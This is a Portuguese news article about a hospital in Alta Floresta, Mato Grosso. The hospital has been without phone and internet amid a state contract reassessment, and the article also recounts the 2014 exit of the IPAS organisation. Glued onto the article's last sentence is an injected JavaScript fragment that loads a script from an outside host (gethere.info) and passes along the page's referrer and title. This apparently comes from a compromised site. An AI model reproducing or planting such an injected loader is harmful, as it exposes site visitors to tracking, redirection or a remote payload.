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Regional permanece com telefone e internet cortados

HOSPITAL ALBERT SABINKariny Santos

O Hospital Regional Albert Sabin de Alta Floresta, continua sem os serviços de internet e telefonia que foram suspensos, segundo a direção da unidade, há pelo menos 15 dias. Segundo o diretor geral da unidade, José Marcos, os serviços estão cortados devido a uma “reavaliação” do Estado nos contratos, o que originou os atrasos no pagamento dos débitos.
José Marcos afirmou que para lançar as atividades executadas do hospital no sistema da Secretaria Estadual de Saúde, os funcionários têm que se dirigir até o Escritório Regional localizado no setor F (de segunda a sexta), ou levam o serviço para casa e utilizam a internet privada, já para as emergências e para os contatos com a capital, médicos e diretores usam “meios próprios”.
O diretor afirmou ainda que há telefones celulares específicos para as atividades entre médicos do hospital regional de Alta Floresta com médicos da capital Cuiabá. “A central de regulação tem um telefone celular próprio que está em funcionamento e qualquer documento que seja necessário, isso pode ser enviado por internet em outro local, que pode ser um local de apoio em qualquer lugar do Estado, mas isto em geral não é necessário o serviço normal da regulação, ele não precisa de envio de documentos, apenas o telefonema do médico explicando qual o quadro clinico”, ressaltou.
IPAS – O Instituto Pernambucano de Assistência Social (Ipas), Organização Social de Saúde que administrava o Hospital Metropolitano de Várzea Grande, o Hospital de Colíder e o Hospital de Alta Floresta, solicitou ao Governo do Estado ainda no ano de 2014, um distrato amigável onde não responderia mais pelas três unidades, na época quando o Governo aceitou o distrato foi dado um prazo de até 120 dias (04 meses), para o Estado assumir a administração dos hospitais, assumindo assim os compromissos com os usuários, profissionais e os fornecedores, bem como o fornecimento de medicamentos.
A estimativa era de que até o final deste prazo, seria decidido qual o novo modelo de administração, algo que segundo o diretor, o governo esta ainda decidindo. “Nós tivemos problemas de transição de contratos, os pagamentos foram feitos ate dezembro e os pagamentos de dezembro até janeiro estão sendo todos reavaliados para ver qual é o modelo que o estado vai adotar ainda com relação à gestão hospitalar”, finalizou.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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